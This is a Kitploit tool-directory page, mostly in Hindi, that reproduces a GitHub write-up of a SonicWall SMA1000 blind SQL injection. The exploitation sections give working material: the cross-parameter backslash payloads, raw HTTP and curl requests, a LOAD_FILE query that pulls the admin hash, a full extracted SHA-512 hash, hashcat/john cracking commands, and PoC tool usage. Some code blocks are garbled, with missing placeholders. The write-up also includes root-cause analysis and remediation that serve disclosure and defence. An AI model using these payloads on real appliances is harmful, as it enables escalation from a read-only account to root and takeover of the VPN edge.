Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-4112 — SonicWall SMA1000 श्रृंखला उपकरणों में SQL कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निष्प्रभावीकरण (“SQL इंजेक्शन”) एक दूरस्थ प्रमाणित हमलावर को केवल-पठन व्यवस्थापक विशेषाधिकारों के साथ प्राथमिक व्यवस्थापक तक विशेषाधिकार बढ़ाने की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4112
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubhann1bl3l3ct3r/cve-2026-4112

CVE-2026-4112

SonicWall SMA1000 श्रृंखला उपकरणों में SQL कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निष्प्रभावीकरण (“SQL इंजेक्शन”) एक दूरस्थ प्रमाणित हमलावर को केवल-पठन व्यवस्थापक विशेषाधिकारों के साथ प्राथमिक व्यवस्थापक तक विशेषाधिकार बढ़ाने की अनुमति देता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
124 महीने पहलेअभी तक समीक्षित नहीं

SonicWall SMA 8200v: क्रॉस-पैरामीटर ब्लाइंड SQL इंजेक्शन के माध्यम से विशेषाधिकार वृद्धि

फर्मवेयर: 12.5.0-02283 (12.5.0-02002 बेस पर प्लेटफ़ॉर्म हॉटफिक्स)

SonicWall सलाहकार


1. सारांश

SonicWall SMA 8200v प्रबंधन कंसोल (पोर्ट 8443) में एक पोस्ट-प्रमाणीकरण ब्लाइंड SQL इंजेक्शन भेद्यता किसी भी प्रमाणित व्यवस्थापक — जिसमें कम-विशेषाधिकार वाले केवल-पठन खाते भी शामिल हैं — को उपकरण कॉन्फ़िगरेशन फ़ाइल से प्राथमिक व्यवस्थापक का SHA-512 पासवर्ड हैश निकालने की अनुमति देती है। चूंकि SonicWall प्रबंधन कंसोल व्यवस्थापक और ऑपरेटिंग सिस्टम रूट खाते दोनों के लिए समान क्रेडेंशियल का उपयोग करता है, इस हैश को क्रैक करने से उपकरण तक पूर्ण रूट-स्तरीय पहुंच प्राप्त होती है।

वर्गीकरण: विशेषाधिकार वृद्धि (कम-विशेषाधिकार व्यवस्थापक से रूट) CVSS 3.1: 7.2 (उच्च) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H हमले की जटिलता: कम (स्वचालित PoC ~60-90 मिनट में निष्कर्षण पूरा करता है) पूर्वापेक्षाएँ: कोई भी मान्य प्रबंधन कंसोल क्रेडेंशियल (केवल-पठन खातों सहित)


2. प्रभावित घटक


3. भेद्यता विवरण

3.1 मूल कारण: safeParam() में अपूर्ण इनपुट स्वच्छता

प्रबंधन कंसोल सक्रिय उपयोगकर्ता डैशबोर्ड के लिए SQL क्वेरीज़ com.aventail.mgmt.sql.Sql वर्ग में सहायक विधि safeParam() का उपयोग करके बनाता है। यह विधि एकल-उद्धरण (') और दोहरे-उद्धरण (") को दोगुना करके बचाती है, लेकिन यह बैकस्लैश वर्णों (\) को नहीं बचाती है।

MySQL/MariaDB में, बैकस्लैश स्ट्रिंग लिटरल के अंदर डिफ़ॉल्ट एस्केप वर्ण है। अनुक्रम \' डेटाबेस को स्ट्रिंग टर्मिनेटर के बजाय एकल-उद्धरण को शाब्दिक वर्ण के रूप में व्याख्या करने का कारण बनता है। इसका मतलब है कि पैरामीटर मान के अंत में एक बैकस्लैश एप्लिकेशन द्वारा जोड़े गए समापन उद्धरण को बच जाएगा, जिससे SQL स्ट्रिंग लिटरल आसन्न सिंटैक्स में विस्तारित हो जाएगा।

स्वच्छता अंतराल:``` Input: test
safeParam output: test\ (backslash NOT escaped) In SQL: ... rt.name='test') AND (ct.name='...' ^^ backslash escapes the closing quote

root@kitploit:~
The closing `'` after `test\` is consumed as a literal quote character within the string, so the SQL string literal extends across the `) AND (ct.name='` boundary and into the next parameter's value, where attacker-controlled SQL can be injected.

### 3.2 इंजेक्शन मैकेनिक्स: क्रॉस-पैरामीटर तकनीक

`activeUsers.action` एंडपॉइंट कई फ़िल्टर पैरामीटर स्वीकार करता है जिन्हें एक ही SQL WHERE क्लॉज़ में इंटरपोलेट किया जाता है। प्रासंगिक पैरामीटर `realmFilter` और `communityFilter` हैं, जो लगभग निम्नलिखित संरचना वाले क्वेरी में दिखाई देते हैं:```sql
SELECT ... FROM ...
WHERE ...
  AND (rt.name='<realmFilter>')
  AND (ct.name='<communityFilter>')
  ...

हमला पैरामीटर सेटअप:

पैरामीटरमानउद्देश्य
realmFiltertest\पीछे का बैकस्लैश समापन उद्धरण से बच निकलता है, स्ट्रिंग लिटरल को AND सीमा के पार विस्तारित करता है
communityFilter)) OR (SELECT IF(<condition>,SLEEP(N),0))-- xखुले कोष्ठक बंद करता है, सशर्त SLEEP इंजेक्ट करता है, शेष भाग को कमेंट कर देता है

इंटरपोलेशन के बाद परिणामी SQL:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')

root@kitploit:~
इसे तोड़ते हुए:

1. `rt.name='test\')` — `\` `'` को एस्केप करता है, इसलिए स्ट्रिंग यहाँ बंद नहीं होती
2. `AND (ct.name='` — स्ट्रिंग वैल्यू का हिस्सा बन जाता है (शाब्दिक टेक्स्ट)
3. स्ट्रिंग अंततः अगले `'` पर बंद होती है (`communityFilter` की शुरुआत से)
4. `))` — WHERE क्लॉज़ संरचना के दो खुले पैरेंथेसिस बंद करता है
5. `OR (SELECT IF(...))` — ब्लाइंड SQLi कंडीशन इंजेक्ट करता है
6. `-- x` — बाकी SQL (`')` और अन्य क्लॉज़) को कमेंट कर देता है

### 3.3 टाइम-बेस्ड ब्लाइंड एक्सट्रैक्शन

चूँकि एप्लिकेशन का Struts 2 एरर हैंडलिंग SQL एक्सेप्शन को सुचारू रूप से पकड़ लेता है (क्वेरी सफल हो या विफल, हमेशा समान पेज कंटेंट के साथ HTTP 200 लौटाता है), एरर-बेस्ड और UNION-बेस्ड एक्सट्रैक्शन विधियाँ व्यवहार्य नहीं हैं। इंजेक्शन का शोषण टाइम-बेस्ड ब्लाइंड तकनीक का उपयोग करके किया जाता है:

- **TRUE कंडीशन:** `IF(<condition>, SLEEP(N), 0)` — रिस्पॉन्स में SLEEP अवधि को रिज़ल्ट सेट की पंक्ति संख्या से गुणा करके देरी होती है
- **FALSE कंडीशन:** कोई SLEEP नहीं — रिस्पॉन्स ~200-500ms में लौटता है

SLEEP फ़ंक्शन WHERE क्लॉज़ मूल्यांकन में प्रति-पंक्ति निष्पादित होता है। 30-300+ पंक्तियों वाली एक सामान्य मॉनिटरिंग टेबल के साथ, एक छोटा SLEEP मान (जैसे, 0.3s) भी स्पष्ट रूप से पहचाने जाने योग्य देरी उत्पन्न करता है (TRUE के लिए 10-100s बनाम FALSE के लिए <1s)।

लक्ष्य डेटा का प्रत्येक कैरेक्टर ASCII रेंज पर बाइनरी सर्च के माध्यम से निकाला जाता है:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>

इसके लिए प्रति कैरेक्टर अधिकतम 7 अनुरोधों की आवश्यकता होती है (log2(128) = 7), जिससे 98-कैरेक्टर SHA-512 हैश के लिए कुल ~686 अनुरोध प्राप्त होते हैं।


4. एक्सप्लॉइटेशन चेन

4.1 अवलोकन```

root@kitploit:~
                     PRIVILEGE ESCALATION CHAIN

============================================================================

[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover

root@kitploit:~
### 4.2 चरण 1: प्रमाणीकरण

SMA प्रबंधन कंसोल दो प्रमाणीकरण क्षेत्रों (realms) का समर्थन करता है:

| Realm ID | प्रदर्शन नाम | उपयोगकर्ता |
|----------|-------------|-------|
| *(खाली)* | प्रबंधन कंसोल | केवल प्राथमिक व्यवस्थापक खाता |
| `AMCAuthRealm` / `Local Authentication` | स्थानीय प्रमाणीकरण | द्वितीयक व्यवस्थापक खाते (readonly, custom) |

हमले के लिए केवल प्रबंधन कंसोल पहुंच वाले **किसी भी** खाते के लिए एक वैध क्रेडेंशियल की आवश्यकता होती है। "readonly" खाता — जो केवल निगरानी-पहुंच के लिए बनाया गया है और इसमें कॉन्फ़िगरेशन बदलने की कोई क्षमता नहीं है — पर्याप्त है।

प्रमाणीकरण J2EE FORM-आधारित प्रमाणीकरण के माध्यम से किया जाता है:

1. `GET /console.action` — लॉगिन पृष्ठ प्राप्त करता है, छिपे हुए फ़ॉर्म फ़ील्ड से CSRF टोकन निकालता है
2. `POST /j_security_check` — `csrfToken`, `j_username`, `j_password`, और `realmId` सबमिट करता है
3. सफलता पर HTTP 303 रीडायरेक्ट, `JSESSIONID` कुकी स्थापित होती है

### 4.3 चरण 2: SQL इंजेक्शन

प्रमाणीकरण के बाद, हमलावर क्रॉस-पैरामीटर इंजेक्शन के साथ `/activeUsers.action` पर एक POST अनुरोध भेजता है:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded

realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter

बिना शर्त IF(1=1, SLEEP(0.3), 0) HTTP प्रतिक्रिया में मापने योग्य देरी देखकर यह सत्यापित करता है कि इंजेक्शन कार्यात्मक है।

4.4 चरण 3: LOAD_FILE() द्वारा मनमाना फ़ाइल पठन

MariaDB डेटाबेस OS उपयोगकर्ता DbAdmin (uid=1001, gid=500 aventail) के अंतर्गत चलता है। इस डेटाबेस उपयोगकर्ता के पास ALL PRIVILEGES ON *.* WITH GRANT OPTION है, जिसमें LOAD_FILE() के लिए आवश्यक FILE विशेषाधिकार भी शामिल है।

एक महत्वपूर्ण निष्कर्ष: MariaDB कॉन्फ़िगरेशन सेटिंग secure_file_priv = NULL (जो INTO OUTFILE और INTO DUMPFILE लेखन संचालन को अवरुद्ध करती है) के बावजूद, फ़ाइलों को पढ़ने के लिए LOAD_FILE() फ़ंक्शन पूरी तरह से कार्यशील बना रहता है। यह एक प्रलेखित लेकिन कम समझा जाने वाला MariaDB व्यवहार है — secure_file_priv=NULL फ़ाइल लेखन पथों को प्रतिबंधित करता है लेकिन जब उपयोगकर्ता के पास FILE विशेषाधिकार होता है तो फ़ाइल पठन को अक्षम नहीं करता।

लक्ष्य कॉन्फ़िगरेशन फ़ाइल /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml mgmt-server:aventail के स्वामित्व में है जिसकी अनुमतियाँ 664 (rw-rw-r--) हैं। चूँकि DbAdmin OS उपयोगकर्ता aventail समूह में है, LOAD_FILE() इस फ़ाइल को पढ़ सकता है।

ब्लाइंड SQLi के माध्यम से सत्यापन:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable

root@kitploit:~
### 4.5 चरण 4: avconfig.xml में एडमिन हैश का पता लगाना

`avconfig.xml` फ़ाइल (~98KB) उपकरण का मास्टर कॉन्फ़िगरेशन स्टोर है। इसमें `<password>` XML तत्वों के भीतर SHA-512 crypt प्रारूप में सभी उपयोगकर्ता क्रेडेंशियल शामिल होते हैं। प्राथमिक एडमिन हैश एक `<credentials_item>` ब्लॉक में स्थित होता है, जो एक `<consoleMode>` तत्व के पास होता है जो एडमिन अनुभाग के लिए अद्वितीय है।

हार्डकोडेड बाइट ऑफसेट पर निर्भर रहने के बजाय (जो एडमिन अनुभाग के ऊपर कॉन्फ़िगरेशन बदलने पर टूट जाएगा), निष्कर्षण हैश को गतिशील रूप से खोजने के लिए MySQL स्ट्रिंग फ़ंक्शन का उपयोग करता है:```sql
SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE(<path>),
    LOCATE('<password>', LOAD_FILE(<path>),
      LOCATE('consoleMode', LOAD_FILE(<path>))
    ) + 10,                    -- skip past '<password>' tag (10 chars)
    120                        -- max SHA-512 crypt length
  ),
  '<',                         -- trim at '</password>' closing tag
  1
)

तर्क:

  1. LOCATE('consoleMode', file) — consoleMode स्ट्रिंग का बाइट ऑफ़सेट ढूँढता है, जो एडमिन कॉन्फ़िगरेशन सेक्शन से जुड़ा होता है
  2. LOCATE('<password>', file, anchor_offset) — उस एंकर के बाद पहला <password> टैग ढूँढता है
  3. SUBSTRING(file, tag_offset + 10, 120) — हैश मान निकालता है (10-अक्षर वाले <password> टैग को छोड़कर)
  4. SUBSTRING_INDEX(result, '<', 1) — </password> क्लोज़िंग टैग पर ट्रिम करता है

यह दृष्टिकोण स्थिति-स्वतंत्र है और फ़ाइल में अन्यत्र कॉन्फ़िगरेशन परिवर्तनों के प्रति लचीला है। पूरी अभिव्यक्ति MySQL हेक्स लिटरल (0x...) का उपयोग करके एन्कोड की गई है ताकि इंजेक्शन संदर्भ में कोटिंग समस्याओं से बचा जा सके।

4.6 चरण 5: कैरेक्टर-दर-कैरेक्टर हैश निष्कर्षण

हैश का प्रत्येक कैरेक्टर बाइनरी सर्च के माध्यम से निकाला जाता है:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),

, 1)) > , SLEEP(0.3), 0)

root@kitploit:~
बाइनरी खोज हर अनुरोध के साथ ASCII रेंज [0, 127] को आधा कर देती है:

| चरण | रेंज | परीक्षण | परिणाम |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | TRUE → [64, 127] |
| 2 | [64, 127] | > 95? | FALSE → [64, 95] |
| 3 | [64, 95] | > 79? | FALSE → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | अभिसरित | वर्ण = chr(n) |

ज्ञात एडमिन हैश (`$6$WHTK8ybQ$MchVNW...`) के लिए, सभी 98 वर्णों का निष्कर्षण लगभग 686 HTTP अनुरोधों की आवश्यकता होती है।

### 4.7 चरण 6: हैश क्रैकिंग

निकाला गया हैश मानक SHA-512 crypt प्रारूप में है:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
फ़ील्डमान
एल्गोरिदम — SHA-512 crypt

Hashcat

hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O

John the Ripper

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash

root@kitploit:~
### 4.8 चरण 7: पूर्ण समझौता

SonicWall SMA आर्किटेक्चर प्रबंधन कंसोल के एडमिन पासवर्ड को OS रूट पासवर्ड के रूप में उपयोग करता है। यह एक डिज़ाइन निर्णय है — जब एडमिन पासवर्ड प्रबंधन कंसोल के माध्यम से सेट या बदला जाता है, तो इसे वेब इंटरफ़ेस और अंतर्निहित Linux रूट खाते दोनों पर लागू किया जाता है। इसलिए, एडमिन हैश को क्रैक करने से निम्नलिखित मिलता है:

- **प्रबंधन कंसोल (पोर्ट 8443):** सभी कॉन्फ़िगरेशन, नीतियों, उपयोगकर्ता प्रबंधन और निगरानी तक पूर्ण प्रशासनिक पहुंच
- **SSH (पोर्ट 22):** अंतर्निहित Debian Linux ऑपरेटिंग सिस्टम तक रूट शेल पहुंच
- **सीरियल कंसोल:** भौतिक/आउट-ऑफ-बैंड पहुंच के लिए रूट लॉगिन

---

## 5. योगदान करने वाले कारक

कई आर्किटेक्चरल निर्णय मिलकर इस भेद्यता को शोषण योग्य बनाते हैं:

### 5.1 अपूर्ण SQL सैनिटाइज़ेशन

`com.aventail.mgmt.sql.Sql` में `safeParam()` विधि उद्धरणों को एस्केप करती है लेकिन बैकस्लैश को नहीं। यह SQL इंजेक्शन का एक प्रसिद्ध वर्ग है — MySQL का बैकस्लैश एस्केप व्यवहार 2000 के दशक की शुरुआत से एक सुरक्षा चिंता के रूप में प्रलेखित किया गया है। समाधान तुच्छ है: या तो बैकस्लैश को एस्केप करें (`\` → `\\`), या `NO_BACKSLASH_ESCAPES` SQL मोड सेट करें, या पैरामीटराइज़्ड क्वेरी का उपयोग करें।

### 5.2 अत्यधिक विशेषाधिकार प्राप्त डेटाबेस उपयोगकर्ता

MariaDB `DbAdmin` उपयोगकर्ता `ALL PRIVILEGES ON *.* WITH GRANT OPTION` के साथ चलता है। यह एप्लिकेशन की आवश्यकता से कहीं अधिक क्षमताएं प्रदान करता है, जिनमें शामिल हैं:

- `FILE` विशेषाधिकार (LOAD_FILE, INTO OUTFILE)
- `SUPER` विशेषाधिकार
- `GRANT OPTION` (नए सुपरयूज़र खाते बना सकता है)

एप्लिकेशन को केवल अपने स्वयं के डेटाबेस पर SELECT/INSERT/UPDATE/DELETE की आवश्यकता है। अत्यधिक विशेषाधिकार SQL इंजेक्शन को डेटा निष्कर्षण से मनमाने फ़ाइल पढ़ने/लिखने में बदल देते हैं।

### 5.3 secure_file_priv गलत कॉन्फ़िगरेशन

जबकि `secure_file_priv = NULL` फ़ाइल **लिखने** के संचालन (`INTO OUTFILE`, `INTO DUMPFILE`) को अवरुद्ध करता है, यह फ़ाइल **पढ़ने** के संचालन (`LOAD_FILE()`) को **नहीं** रोकता है। यह एक प्रलेखित MariaDB व्यवहार है जिसे अक्सर गलत समझा जाता है। प्रशासक और डेवलपर्स अक्सर मानते हैं कि `secure_file_priv = NULL` सभी फ़ाइल I/O को अक्षम कर देता है, लेकिन यह केवल लिखने के पथ को प्रतिबंधित करता है।

`LOAD_FILE()` को पूरी तरह से अक्षम करने के लिए, डेटाबेस उपयोगकर्ता से `FILE` विशेषाधिकार रद्द किया जाना चाहिए:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';

5.4 संवेदनशील कॉन्फ़िगरेशन फ़ाइल अनुमतियाँ

सभी पासवर्ड हैश वाली avconfig.xml फ़ाइल mgmt-server:aventail के स्वामित्व में मोड 664 के साथ है। aventail समूह में DbAdmin OS उपयोगकर्ता शामिल है (जिसके अंतर्गत MariaDB चलता है)। इसका मतलब है कि डेटाबेस प्रक्रिया उपकरण की मास्टर कॉन्फ़िगरेशन फ़ाइल को पढ़ सकती है, जिसमें सभी संग्रहीत क्रेडेंशियल शामिल हैं।

एक अधिक प्रतिबंधात्मक अनुमति मॉडल (जैसे, mgmt-server:mgmt-server के स्वामित्व वाला मोड 600, या हैश को एक समर्पित सीक्रेट्स फ़ाइल में संग्रहीत करना जो केवल प्रबंधन एप्लिकेशन द्वारा पठनीय हो) FILE विशेषाधिकार होने पर भी LOAD_FILE() को हैश तक पहुँचने से रोक देगा।

5.5 साझा एडमिन/रूट क्रेडेंशियल

प्रबंधन कंसोल एडमिन और OS रूट खाते के लिए समान पासवर्ड उपयोग करने का डिज़ाइन निर्णय यह सुनिश्चित करता है कि एप्लिकेशन परत से एडमिन हैश निकालने पर सीधे ऑपरेटिंग सिस्टम रूट एक्सेस प्राप्त होता है। यह वेब एप्लिकेशन टियर और अंतर्निहित ऑपरेटिंग सिस्टम के बीच किसी भी सीमा को समाप्त कर देता है।

5.6 रीड-ओनली खाते के पास पूर्ण SQLi एक्सेस

"readonly" प्रबंधन कंसोल भूमिका कॉन्फ़िगरेशन परिवर्तन क्षमता के बिना केवल मॉनिटरिंग एक्सेस प्रदान करने के लिए है। हालाँकि, activeUsers.action एंडपॉइंट भूमिका की परवाह किए बिना सभी प्रमाणित उपयोगकर्ताओं के लिए फ़िल्टर पैरामीटर को समान रूप से संसाधित करता है। रीड-ओनली खाता प्राथमिक एडमिन के समान SQL इंजेक्शन निष्पादित कर सकता है, क्योंकि कमज़ोरी डेटा पुनर्प्राप्ति पथ (सक्रिय उपयोगकर्ताओं की सूची/फ़िल्टरिंग) में है, न कि कॉन्फ़िगरेशन परिवर्तन पथ में।


6. प्रूफ़ ऑफ़ कॉन्सेप्ट

6.1 टूल: sma_admin_hash_poc.py

एक पूर्णतः स्वचालित शोषण टूल विकसित किया गया और लाइव लक्ष्य के विरुद्ध मान्य किया गया।

उपयोग (readonly खाता — विशेषाधिकार वृद्धि सिद्ध करना):```bash python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v

root@kitploit:~
**निष्पादन चरण:**

1. **चरण 1: प्रमाणीकरण** — निर्दिष्ट क्रेडेंशियल्स और realm के साथ लॉगिन करता है, JSESSIONID प्राप्त करता है
2. **चरण 2: सत्यापन** — पुष्टि करता है कि SQLi कार्यात्मक है (SLEEP टाइमिंग), LOAD_FILE avconfig.xml पढ़ सकता है, और एडमिन हैश एंकर मौजूद है
3. **चरण 3: निष्कर्षण** — बाइनरी सर्च पूर्ण SHA-512 हैश को कैरेक्टर दर कैरेक्टर निकालता है
4. **चरण 4: आउटपुट** — हैश को hashcat-तैयार प्रारूप में लिखता है और क्रैकिंग कमांड प्रिंट करता है

**देखा गया आउटपुट:**```
[*] Target: 10.10.10.35:8443
[*] User:   readonly
[*] Realm:  Local Authentication

[*] Phase 1: Authenticating to admin console...
[+] Authentication successful

[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml

[*] Phase 3: Extracting admin password hash...
    Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...

6.2 curl के माध्यम से मैन्युअल सत्यापन

इंजेक्शन को PoC टूल के बिना भी मैन्युअल रूप से सत्यापित किया जा सकता है:```bash

Authenticate and obtain session cookie

curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken

curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"

Baseline request (no injection) — expect ~200ms

time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

Injected request (SLEEP 5 via subquery) — expect 10+ seconds

time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

root@kitploit:~
### 6.3 MySQL CLI के माध्यम से प्रत्यक्ष SQL सत्यापन

रूट SSH एक्सेस के साथ, SQL निष्कर्षण अभिव्यक्ति को सीधे सत्यापित किया जा सकता है:```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248

-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
    LOCATE('<password>',
      LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
      LOCATE('consoleMode',
        LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
      )
    ) + 10,
    120
  ),
  '<',
  1
) AS admin_hash;

-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0

7. प्रभाव आकलन

7.1 प्रत्यक्ष प्रभाव

प्रभावविवरण
गोपनीयताaventail समूह द्वारा पठनीय सभी फाइलों तक पूर्ण पढ़ने की पहुंच, जिसमें कॉन्फ़िगरेशन फाइलें, क्रेडेंशियल, प्रमाणपत्र और कुंजियाँ शामिल हैं
अखंडताहैश क्रैकिंग के बाद: पूर्ण एडमिन कंसोल पहुंच मनमाने कॉन्फ़िगरेशन परिवर्तन, नीति संशोधन और उपयोगकर्ता प्रबंधन को सक्षम बनाती है

7.2 हमले के परिदृश्य

परिदृश्य 1: आंतरिक खतरा / न्यूनतम विशेषाधिकार उल्लंघन वैध निगरानी पहुंच वाला केवल-पठनीय एडमिनिस्ट्रेटर (SOC विश्लेषक, ऑडिटर, जूनियर इंजीनियर) सभी भूमिका-आधारित पहुंच नियंत्रणों को दरकिनार करते हुए पूर्ण एडमिन/रूट तक पहुंच बढ़ा लेता है।

परिदृश्य 2: क्रेडेंशियल समझौता वृद्धि कोई भी प्रबंधन कंसोल क्रेडेंशियल प्राप्त करने वाला हमलावर (फ़िशिंग, क्रेडेंशियल स्टफिंग, डिफ़ॉल्ट पासवर्ड) समझौता किए गए खाते के इच्छित विशेषाधिकार स्तर की परवाह किए बिना रूट तक पहुंच बढ़ा सकता है।

परिदृश्य 3: नेटवर्क पिवट SMA उपकरण तक रूट पहुंच नेटवर्क किनारे पर एक स्थायी पैर जमाने प्रदान करती है। हमलावर VPN ट्रैफ़िक को इंटरसेप्ट कर सकता है, रूटिंग संशोधित कर सकता है, आंतरिक नेटवर्क खंडों तक पहुंच सकता है, और कॉन्फ़िगरेशन से सभी VPN उपयोगकर्ता क्रेडेंशियल निकाल सकता है।


8. अनुशंसाएँ

8.1 तत्काल शमन उपाय

  1. पैरामीटराइज़्ड क्वेरीज़: प्रबंधन कंसोल की SQL परत में safeParam() में स्ट्रिंग इंटरपोलेशन को प्रीपेयर्ड स्टेटमेंट / पैरामीटराइज़्ड क्वेरीज़ से बदलें। यह वर्ण एस्केपिंग की परवाह किए बिना इंजेक्शन को समाप्त करता है।

  2. FILE विशेषाधिकार रद्द करें: DbAdmin डेटाबेस उपयोगकर्ता से FILE विशेषाधिकार हटाएँ: ```sql REVOKE FILE ON . FROM 'DbAdmin'@'localhost'; FLUSH PRIVILEGES;

    root@kitploit:~
  3. डेटाबेस विशेषाधिकार प्रतिबंधित करें: DbAdmin पर न्यूनतम-विशेषाधिकार लागू करें — केवल उन विशिष्ट डेटाबेसों (monitoring, scheduler, troubleshooting) पर SELECT, INSERT, UPDATE, DELETE अनुदान दें जिनकी एप्लिकेशन को आवश्यकता है।

  4. avconfig.xml अनुमतियाँ प्रतिबंधित करें: डेटाबेस उपयोगकर्ता को कॉन्फ़िगरेशन पढ़ने से रोकने के लिए फ़ाइल स्वामित्व और अनुमतियाँ बदलें: ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml

    root@kitploit:~

8.2 आर्किटेक्चरल सुधार

  1. एडमिन और रूट क्रेडेंशियल अलग करें: प्रबंधन कंसोल एडमिन पासवर्ड को OS रूट पासवर्ड से अलग करें। स्वतंत्र परिवर्तन/रोटेशन तंत्र वाले अलग-अलग क्रेडेंशियल का उपयोग करें।

  2. रोल-आधारित एंडपॉइंट एक्सेस: activeUsers.action एंडपॉइंट (और अन्य सभी डेटा-क्वेरी एंडपॉइंट) को केवल UI/मेनू स्तर पर नहीं, बल्कि एप्लिकेशन परत पर उपयोगकर्ता की भूमिका के आधार पर प्रतिबंधित करें।

  3. SQL मोड सख्तीकरण: बैकस्लैश एस्केप व्याख्या को वैश्विक रूप से अक्षम करने के लिए MariaDB कॉन्फ़िगरेशन में NO_BACKSLASH_ESCAPES सेट करें: ```ini [mysqld] sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES

    root@kitploit:~
  4. हैश भंडारण पृथक्करण: पासवर्ड हैश को मुख्य XML कॉन्फ़िगरेशन फ़ाइल के बजाय एक समर्पित फ़ाइल या डेटाबेस तालिका में संग्रहीत करें, जो सामान्य एप्लिकेशन डेटाबेस उपयोगकर्ता के लिए सुलभ न हो।


9. समयरेखा


10. संदर्भ

  • MariaDB LOAD_FILE दस्तावेज़ीकरण: LOAD_FILE() के लिए FILE विशेषाधिकार आवश्यक है; secure_file_priv SELECT ... INTO को प्रतिबंधित करता है लेकिन LOAD_FILE() को नहीं
